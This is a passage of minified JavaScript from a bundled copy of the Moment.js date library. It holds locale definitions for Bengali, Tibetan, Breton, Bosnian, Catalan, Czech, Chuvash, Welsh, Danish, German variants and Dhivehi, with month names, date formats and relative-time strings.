YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|ভোর|সকাল|দুপুর|বিকাল|সন্ধ্যা|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t?e<4?e:e+12:"ভোর"===t||"সকাল"===t?e:"দুপুর"===t?e>=3?e:e+12:"বিকাল"===t||"সন্ধ্যা"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"রাত":e<6?"ভোর":e<12?"সকাল":e<15?"দুপুর":e<18?"বিকাল":e<20?"সন্ধ্যা":"রাত"},week:{dow:0,doy:6}})}(n(30381))},8905:function(e,t,n){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},n={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|সকাল|দুপুর|বিকাল|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t&&e>=4||"দুপুর"===t&&e<5||"বিকাল"===t?e+12:e},meridiem:function(e,t,n){return e<4?"রাত":e<10?"সকাল":e<17?"দুপুর":e<20?"বিকাল":"রাত"},week:{dow:0,doy:6}})}(n(30381))},11560:function(e,t,n){!function(e){"use strict";var t={1:"༡",2:"༢",3:"༣",4:"༤",5:"༥",6:"༦",7:"༧",8:"༨",9:"༩",0:"༠"},n={"༡":"1","༢":"2","༣":"3","༤":"4","༥":"5","༦":"6","༧":"7","༨":"8","༩":"9","༠":"0"};e.defineLocale("bo",{months:"ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"),monthsShort:"ཟླ་1_ཟླ་2_ཟླ་3_ཟླ་4_ཟླ་5_ཟླ་6_ཟླ་7_ཟླ་8_ཟླ་9_ཟླ་10_ཟླ་11_ཟླ་12".split("_"),monthsShortRegex:/^(ཟླ་\d{1,2})/,monthsParseExact:!0,weekdays:"གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"),weekdaysShort:"ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"),weekdaysMin:"ཉི_ཟླ_མིག_ལྷག_ཕུར_སངས_སྤེན".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[དི་རིང] LT",nextDay:"[སང་ཉིན] LT",nextWeek:"[བདུན་ཕྲག་རྗེས་མ], LT",lastDay:"[ཁ་སང] LT",lastWeek:"[བདུན་ཕྲག་མཐའ་མ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ལ་",past:"%s སྔན་ལ",s:"ལམ་སང",ss:"%d སྐར་ཆ།",m:"སྐར་མ་གཅིག",mm:"%d སྐར་མ",h:"ཆུ་ཚོད་གཅིག",hh:"%d ཆུ་ཚོད",d:"ཉིན་གཅིག",dd:"%d ཉིན་",M:"ཟླ་བ་གཅིག",MM:"%d ཟླ་བ",y:"ལོ་གཅིག",yy:"%d ལོ"},preparse:function(e){return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/,meridiemHour:function(e,t){return 12===e&&(e=0),"མཚན་མོ"===t&&e>=4||"ཉིན་གུང"===t&&e<5||"དགོང་དག"===t?e+12:e},meridiem:function(e,t,n){return e<4?"མཚན་མོ":e<10?"ཞོགས་ཀས":e<17?"ཉིན་གུང":e<20?"དགོང་དག":"མཚན་མོ"},week:{dow:0,doy:6}})}(n(30381))},1278:function(e,t,n){!function(e){"use strict";function t(e,t,n){return e+" "+i({mm:"munutenn",MM:"miz",dd:"devezh"}[n],e)}function n(e){switch(a(e)){case 1:case 3:case 4:case 5:case 9:return e+" bloaz";default:return e+" vloaz"}}function a(e){return e>9?a(e%10):e}function i(e,t){return 2===t?r(e):e}function r(e){var t={m:"v",b:"v",d:"z"};return void 0===t[e.charAt(0)]?e:t[e.charAt(0)]+e.substring(1)}var s=[/^gen/i,/^c[ʼ\']hwe/i,/^meu/i,/^ebr/i,/^mae/i,/^(mez|eve)/i,/^gou/i,/^eos/i,/^gwe/i,/^her/i,/^du/i,/^ker/i],o=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu|gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,d=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu)/i,l=/^(gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,u=[/^sul/i,/^lun/i,/^meurzh/i,/^merc[ʼ\']her/i,/^yaou/i,/^gwener/i,/^sadorn/i],c=[/^Sul/i,/^Lun/i,/^Meu/i,/^Mer/i,/^Yao/i,/^Gwe/i,/^Sad/i],m=[/^Su/i,/^Lu/i,/^Me([^r]|$)/i,/^Mer/i,/^Ya/i,/^Gw/i,/^Sa/i];e.defineLocale("br",{months:"Genver_Cʼhwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"),monthsShort:"Gen_Cʼhwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"),weekdays:"Sul_Lun_Meurzh_Mercʼher_Yaou_Gwener_Sadorn".split("_"),weekdaysShort:"Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"),weekdaysMin:"Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"),weekdaysParse:m,fullWeekdaysParse:u,shortWeekdaysParse:c,minWeekdaysParse:m,monthsRegex:o,monthsShortRegex:o,monthsStrictRegex:d,monthsShortStrictRegex:l,monthsParse:s,longMonthsParse:s,shortMonthsParse:s,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [a viz] MMMM YYYY",LLL:"D [a viz] MMMM YYYY HH:mm",LLLL:"dddd, D [a viz] MMMM YYYY HH:mm"},calendar:{sameDay:"[Hiziv da] LT",nextDay:"[Warcʼhoazh da] LT",nextWeek:"dddd [da] LT",lastDay:"[Decʼh da] LT",lastWeek:"dddd [paset da] LT",sameElse:"L"},relativeTime:{future:"a-benn %s",past:"%s ʼzo",s:"un nebeud segondennoù",ss:"%d eilenn",m:"ur vunutenn",mm:t,h:"un eur",hh:"%d eur",d:"un devezh",dd:t,M:"ur miz",MM:t,y:"ur bloaz",yy:n},dayOfMonthOrdinalParse:/\d{1,2}(añ|vet)/,ordinal:function(e){return e+(1===e?"añ":"vet")},week:{dow:1,doy:4},meridiemParse:/a.m.|g.m./,isPM:function(e){return"g.m."===e},meridiem:function(e,t,n){return e<12?"a.m.":"g.m."}})}(n(30381))},80622:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a=e+" ";switch(n){case"ss":return a+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return a+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return a+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return a+=1===e?"dan":"dana";case"MM":return a+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return a+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("bs",{months:"januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:case 3:return"[prošlu] dddd [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},2468:function(e,t,n){!function(e){"use strict";e.defineLocale("ca",{months:{standalone:"gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"),format:"de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"),monthsParseExact:!0,weekdays:"diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dt._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dt_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a les] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a les] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:function(){return"[avui a "+(1!==this.hours()?"les":"la")+"] LT"},nextDay:function(){return"[demà a "+(1!==this.hours()?"les":"la")+"] LT"},nextWeek:function(){return"dddd [a "+(1!==this.hours()?"les":"la")+"] LT"},lastDay:function(){return"[ahir a "+(1!==this.hours()?"les":"la")+"] LT"},lastWeek:function(){return"[el] dddd [passat a "+(1!==this.hours()?"les":"la")+"] LT"},sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"uns segons",ss:"%d segons",m:"un minut",mm:"%d minuts",h:"una hora",hh:"%d hores",d:"un dia",dd:"%d dies",M:"un mes",MM:"%d mesos",y:"un any",yy:"%d anys"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n(30381))},5822:function(e,t,n){!function(e){"use strict";var t="leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"),n="led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"),a=[/^led/i,/^úno/i,/^bře/i,/^dub/i,/^kvě/i,/^(čvn|červen$|června)/i,/^(čvc|červenec|července)/i,/^srp/i,/^zář/i,/^říj/i,/^lis/i,/^pro/i],i=/^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i;function r(e){return e>1&&e<5&&1!=~~(e/10)}function s(e,t,n,a){var i=e+" ";switch(n){case"s":return t||a?"pár sekund":"pár sekundami";case"ss":return t||a?i+(r(e)?"sekundy":"sekund"):i+"sekundami";case"m":return t?"minuta":a?"minutu":"minutou";case"mm":return t||a?i+(r(e)?"minuty":"minut"):i+"minutami";case"h":return t?"hodina":a?"hodinu":"hodinou";case"hh":return t||a?i+(r(e)?"hodiny":"hodin"):i+"hodinami";case"d":return t||a?"den":"dnem";case"dd":return t||a?i+(r(e)?"dny":"dní"):i+"dny";case"M":return t||a?"měsíc":"měsícem";case"MM":return t||a?i+(r(e)?"měsíce":"měsíců"):i+"měsíci";case"y":return t||a?"rok":"rokem";case"yy":return t||a?i+(r(e)?"roky":"let"):i+"lety"}}e.defineLocale("cs",{months:t,monthsShort:n,monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i,monthsShortStrictRegex:/^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"),weekdaysShort:"ne_po_út_st_čt_pá_so".split("_"),weekdaysMin:"ne_po_út_st_čt_pá_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm",l:"D. M. YYYY"},calendar:{sameDay:"[dnes v] LT",nextDay:"[zítra v] LT",nextWeek:function(){switch(this.day()){case 0:return"[v neděli v] LT";case 1:case 2:return"[v] dddd [v] LT";case 3:return"[ve středu v] LT";case 4:return"[ve čtvrtek v] LT";case 5:return"[v pátek v] LT";case 6:return"[v sobotu v] LT"}},lastDay:"[včera v] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulou neděli v] LT";case 1:case 2:return"[minulé] dddd [v] LT";case 3:return"[minulou středu v] LT";case 4:case 5:return"[minulý] dddd [v] LT";case 6:return"[minulou sobotu v] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"před %s",s,ss:s,m:s,mm:s,h:s,hh:s,d:s,dd:s,M:s,MM:s,y:s,yy:s},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},50877:function(e,t,n){!function(e){"use strict";e.defineLocale("cv",{months:"кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"),monthsShort:"кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"),weekdays:"вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"),weekdaysShort:"выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"),weekdaysMin:"вр_тн_ыт_юн_кҫ_эр_шм".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]",LLL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm",LLLL:"dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm"},calendar:{sameDay:"[Паян] LT [сехетре]",nextDay:"[Ыран] LT [сехетре]",lastDay:"[Ӗнер] LT [сехетре]",nextWeek:"[Ҫитес] dddd LT [сехетре]",lastWeek:"[Иртнӗ] dddd LT [сехетре]",sameElse:"L"},relativeTime:{future:function(e){return e+(/сехет$/i.exec(e)?"рен":/ҫул$/i.exec(e)?"тан":"ран")},past:"%s каялла",s:"пӗр-ик ҫеккунт",ss:"%d ҫеккунт",m:"пӗр минут",mm:"%d минут",h:"пӗр сехет",hh:"%d сехет",d:"пӗр кун",dd:"%d кун",M:"пӗр уйӑх",MM:"%d уйӑх",y:"пӗр ҫул",yy:"%d ҫул"},dayOfMonthOrdinalParse:/\d{1,2}-мӗш/,ordinal:"%d-мӗш",week:{dow:1,doy:7}})}(n(30381))},47373:function(e,t,n){!function(e){"use strict";e.defineLocale("cy",{months:"Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"),monthsShort:"Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"),weekdays:"Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"),weekdaysShort:"Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"),weekdaysMin:"Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Heddiw am] LT",nextDay:"[Yfory am] LT",nextWeek:"dddd [am] LT",lastDay:"[Ddoe am] LT",lastWeek:"dddd [diwethaf am] LT",sameElse:"L"},relativeTime:{future:"mewn %s",past:"%s yn ôl",s:"ychydig eiliadau",ss:"%d eiliad",m:"munud",mm:"%d munud",h:"awr",hh:"%d awr",d:"diwrnod",dd:"%d diwrnod",M:"mis",MM:"%d mis",y:"blwyddyn",yy:"%d flynedd"},dayOfMonthOrdinalParse:/\d{1,2}(fed|ain|af|il|ydd|ed|eg)/,ordinal:function(e){var t="";return e>20?t=40===e||50===e||60===e||80===e||100===e?"fed":"ain":e>0&&(t=["","af","il","ydd","ydd","ed","ed","ed","fed","fed","fed","eg","fed","eg","eg","fed","eg","eg","fed","eg","fed"][e]),e+t},week:{dow:1,doy:4}})}(n(30381))},24780:function(e,t,n){!function(e){"use strict";e.defineLocale("da",{months:"januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"søn_man_tir_ons_tor_fre_lør".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd [d.] D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"på dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[i] dddd[s kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"få sekunder",ss:"%d sekunder",m:"et minut",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dage",M:"en måned",MM:"%d måneder",y:"et år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},60217:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}e.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},60894:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}e.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},59740:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}e.defineLocale("de",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},5300:function(e,t,n){!function(e){"use strict";var t=["ޖެނުއަރީ","ފެބްރުއަރީ","މާރިޗު","އޭޕްރީލު","މޭ","ޖޫން","ޖުލައި","އޯގަސްޓު","ސެޕްޓެމްބަރު","އޮކްޓޯބަރު","ނޮވެމްބަރު","ޑިސެމްބަރު"],n=["އާދިއްތަ","ހޯމަ","އަންގާރަ","ބުދަ","ބުރާސްފަތި","ހުކުރު","ހޮނިހިރު"];e.defineLocale("dv",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:"އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/M/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/މކ|މފ/,isPM:function(e){return"މފ"===e},meridiem:function(e,t,n){return e<12?"މކ":"މފ"},calendar:{sameDay:"[މިއަދު] LT",nextDay:"[މާދަމާ] LT",nextWeek:"dddd LT",lastDay:"[އިއްޔެ] LT",lastWeek:"[ފާއިތުވި] dddd LT",sameElse:"L"},relativeTime:{future:"ތެރޭގައި %s",past:"ކުރިން %s",s:"ސިކުންތުކޮޅެއް",ss:"d% ސިކުންތު",m:"މިނިޓެއް",mm:"މިނިޓު %d",h:"ގަޑިއިރެއް",hh:"ގަޑިއިރު %d",d:"ދުވަހެއް",dd:"ދުވަސް %d",M:"މަހެއް",MM:"މަސް %d",y:"އަހަރެއް",yy:"އަހަރު %d"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:7,doy:12}})}(n(30381))},50837:function(e,t,n){!function(e){"use strict";function t(e){return"undefined"!=typeof Function&&e instanceof Function||"[object 